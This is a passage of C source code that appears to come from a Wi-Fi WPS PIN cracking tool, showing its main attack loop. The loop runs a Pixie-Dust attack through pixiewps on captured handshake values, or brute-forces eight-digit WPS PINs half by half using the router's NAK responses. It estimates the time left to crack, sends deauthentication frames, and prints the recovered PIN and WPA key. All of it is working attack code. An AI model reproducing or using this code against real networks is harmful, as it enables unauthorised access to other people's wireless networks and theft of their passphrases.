	pindex = phold;

	if (-1 < G->pinstart)
		pindex = G->pinstart;

	if (G->random)
		pin = G->pin1[pindex/pin2max] * pin2max + G->pin2[pindex%pin2max] / pin2div;
	else
		pin = pindex;

	if (G->broken) {
		snprintf(pinstr,9,"%08d",pin);
		vprint("[+] Index of starting pin number is '%08d'\n", pindex);
	} else {
		snprintf(pinstr,9,"%07d%1d",pin,wps_pin_checksum(pin));
		vprint("[+] Index of starting pin number is '%07d'\n", pindex);
	};

	struct timeval start, now;
	int time, last, secs, hour, mins, i, d, key1hit;
	key1hit = 0;

	gettimeofday(&start, 0);
	last = start.tv_sec;

	ctrlc = G->test;
	result = DEORDIS;

	while (!ctrlc) {

		if (run_pixiewps == 2) {
		/* Creating pixiewps command */
			char *cmd_pixie;
			cmd_pixie = malloc( 2520 * sizeof(char) );
			strcpy(cmd_pixie,"pixiewps -e ");
			strncat(cmd_pixie,pixie_pke, 1000);
			strcat(cmd_pixie," -r ");
			strncat(cmd_pixie,pixie_pkr, 1000);
			strcat(cmd_pixie," -s ");
			strncat(cmd_pixie,pixie_ehash1,100);
			strcat(cmd_pixie," -z ");
			strncat(cmd_pixie,pixie_ehash2,100);
			strcat(cmd_pixie," -a ");
			strncat(cmd_pixie,pixie_authkey,100);
			strcat(cmd_pixie," -n ");
			strncat(cmd_pixie,pixie_enonce,100);
			strcat(cmd_pixie," -m ");
			strncat(cmd_pixie,pixie_rnonce,100);
			strcat(cmd_pixie," -v 1 --force");

			FILE *fpixe;

			fpixe = popen(cmd_pixie, "r");
			char *aux_pixie_pin;
			int i=0;

			printf("[+] Running pixiewps with the information, wait ...\n");
			if ( debug_level == 4 )
			{
				printf("Cmd : %s\n",cmd_pixie);
			};
			char *pixie_output;
			pixie_output=malloc(100 * sizeof(char));
			while (fgets(pixie_output, 100, fpixe) != NULL)
			{
				aux_pixie_pin = strstr(pixie_output,"WPS pin not found");
				if(aux_pixie_pin != NULL)
				{
					printf("[Pixie-Dust] WPS pin not found\n");
					free(cmd_pixie);
					break;
				};

				aux_pixie_pin = strstr(pixie_output,"WPS pin:");
				if(aux_pixie_pin != NULL)
				{
					//here will get the pin
					//a slightly better way to locate the pin
					//thx offensive-security by attention

					for(i=0;i<strlen(aux_pixie_pin);i++)
					{
						if(isdigit(aux_pixie_pin[i]))
						{
							strncpy(pinstr, aux_pixie_pin + i, 8);
							run_pixiewps = 3;
							free(cmd_pixie);
							break;
						};
					};
				};
			};
			pclose(fpixe);
		};
		if (run_pixiewps == 3) { 
			printf("[Pixie-Dust] PIN FOUND: %s\n", pinstr);
			ctrlc--;
			run_pixiewps = 4;
		};

		while (!ctrlc && result != SUCCESS) {

			vprint("[+] %s = '%s'   Next pin '%s'\n", state[G->state], names[result], pinstr);
			result = reassoc(G);
		};

		if (ctrlc) {
			result = ctrlc;
			break;
		};

		if (wps_registrar_add_pin(G->wdata->wps->registrar, NULL, pinstr, 8, 0)) {
			vprint("[X] Failed to add registrar pin '%s', exiting\n", pinstr);
			return 6;
		};

		result = wpstran(G);

		wps_registrar_expire_pins(G->wdata->wps->registrar);

		if (G->restart)
			goto restart;

		if (result == SUCCESS)
			break;

		if (G->state != RECV_M2D_M3 || result != WPSFAIL)
			G->dcount = 0;

		if (KEY1NAK <= result) {

			if ((++pincount & 0x1f) == 0) {
				gettimeofday(&now, 0);
				secs = time = now.tv_sec - start.tv_sec;
				hour = secs/3600;	secs -= hour*3600;
				mins = secs/60;		secs -= mins*60;
				i = time/pincount;	time -= i*pincount;
				d = time*100/pincount;
				vprint("[!] Run time %02d:%02d:%02d, pins tested %d (%d.%02d seconds per pin)\n",
								hour, mins, secs, pincount, i, d);

				secs = time = now.tv_sec - last;
				i = time/32;	time -= i*32;
				d = time*100/32;
				time = pinmax - pindex;
				time = time/pin2max + (time%pin2max ? time%pin2max : pin2max-1);

				vprint("[!] Current rate %d.%02d seconds per pin, %05d pins remaining\n",
								i, d, time);
				secs = ((time * i * 100) + (time * d)) / 200;
				hour = secs/3600;	secs -= hour*3600;
				mins = secs/60;		secs -= mins*60;
				vprint("[!] Average time to crack is %d hours, %d minutes, %d seconds\n",
								hour, mins, secs);

				last = now.tv_sec;

				if ((++savecount & 0x01) == 0) {
					if ((rf = fopen(G->runf, "a")) != NULL) {
						gettimeofday(&timer, NULL);
						strftime(G->error, 256, "%Y-%m-%d %H:%M:%S", localtime(&timer.tv_sec));
						fprintf(rf, "# session in progress at %s\n%08d:%08d:%01d:%s:\n",
								G->error, (G->broken ? pindex : pindex*10),
								(G->broken ? pin : pin*10), G->broken, G->wdata->cred.key);
						fclose(rf);
						fprintf(stderr, "Saving session to '%s'\n", G->runf);
					} else
						fprintf(stderr, "WARNING : Couldn't save session to '%s'\n", G->runf);
				};
			};

			if (result == KEY1NAK) {
				if (!key1hit) {
					pindex += pin2max;
					if (pinmax <= pindex) {
						vprint("[X] Exhausted first-half possibilities without success\n");
						return 7;
					};
				};
				if (G->k1delay && (G->k1step <= ++G->k1count)) {
					G->delay += G->k1delay * 1000;
					G->k1count = 0;
				};
			} else {
				if (result == KEY2NAK) {
					if (key1hit ==0) {
						key1hit = 1;
						pinmax = (pindex/pin2max+1)*pin2max;
					};
					pindex++;
					if (pinmax <= pindex) {
						vprint("[X] Exhausted second-half possibilities without success\n");
						return 7;
					};
					if (G->k2delay && (G->k2step <= ++G->k2count)) {
						G->delay += G->k2delay * 1000;
						G->k2count = 0;
					};
				};
			};

			if (G->random)
				pin = G->pin1[pindex/pin2max] * pin2max + G->pin2[pindex%pin2max] / pin2div;
			else
				pin = pindex;

			if (G->broken)
				snprintf(pinstr,9,"%08d",pin);
			else
				snprintf(pinstr,9,"%07d%1d",pin,wps_pin_checksum(pin));

		};

	};
	if (!G->test) {
		if (result == SUCCESS)
			send_packet(G, eapolf, sizeof(eapolf)-1, 0);
		send_packet(G, deauth, sizeof(deauth)-1, 0);
		send_packet(G, deauth, sizeof(deauth)-1, 0);
		send_packet(G, deauth, sizeof(deauth)-1, 0);
	};

	pcap_close(G->pfd);

	if (result == SUCCESS)
		vprint("[*] Pin is '%s', key is '%s'\n", pinstr, G->wdata->cred.key);
	if ((rf = fopen(G->runf, "a")) != NULL) {
		if (op_gen_pin == 1)
		{
			return 0;
		}

		gettimeofday(&timer, NULL);
		strftime(G->error, 256, "%Y-%m-%d %H:%M:%S", localtime(&timer.tv_sec));
		fprintf(rf, "# session ended %s with signal %d\n%08d:%08d:%01d:%s:\n",
				G->error, signm, (G->broken ? pindex : pindex*10),
				(G->broken ? pin : pin*10), G->broken, G->wdata->cred.key);
		fclose(rf);
		if (ctrlc && !G->test) fprintf(stderr, "\n");
		fprintf(stderr, "Saved session to '%s'\n", G->runf);
	} else
		fprintf(stderr, "WARNING : Couldn't save session to '%s'\n", G->runf);

	if (result == SUCCESS) {
		fprintf(stderr, "\n\tPIN   : '%s'", pinstr);
		fprintf(stderr, "\n\tKEY   : '%s'", G->wdata->cred.key);
		fprintf(stderr, "\n\tBSSID : '%s'", p_bssid);
		fprintf(stderr, "\n\tESSID : '%s'\n\n", G->essid); 
	} else
		result = -1;

		return result;

};
